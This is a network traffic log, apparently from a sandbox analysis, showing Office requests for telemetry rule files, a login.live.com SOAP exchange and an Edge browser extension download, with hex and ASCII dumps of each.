2024-10-29 05:59:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49753	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:23 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055923Z-16849878b787bfsh7zgp804my400000004xg000000007ayr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49755	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:23 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:23 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 91249574-801e-0078-3dc7-27bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055923Z-17c5cb586f6mhqqby1dwph2kzs00000001eg000000004d1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49758	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:24 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 05:59:24 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 05:59:24 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 05:58:24 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: cc30a949-cba2-4727-b7e4-807a71965209 PPServer: PPV: 30 H: BL02EPF0001D73B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 05:59:23 GMT Connection: close Content-Length: 1276
2024-10-29 05:59:24 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49767	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:24 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055924Z-16849878b78z2wx67pvzz63kdg00000004q000000000c9sr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49768	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:24 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30dbe6fd-101e-0034-66db-2696ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055925Z-17c5cb586f66g7mvgrudxte95400000000z000000000hvua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49765	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:24 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055925Z-17c5cb586f6wmhkn5q6fu8c5ss00000005gg000000004dw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49764	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:24 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055925Z-r197bdfb6b4gx6v9pg74w9f47s0000000860000000000tdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49766	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:24 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: cb18986a-b01e-0053-40f0-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055925Z-r197bdfb6b46kdskt78qagqq1c0000000690000000007gpe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49769	142.250.185.193	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:24 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:25 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2fkLMfg2UViBSxPHR62M-7aPKx0IQuekXEaiPu1qL54C4HJ8BoMjJbe2us9vX7HBzulJv6Lu7hVg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 28 Oct 2024 20:33:29 GMT Expires: Tue, 28 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 33956 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 05:59:25 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-29 05:59:25 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-10-29 05:59:25 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP 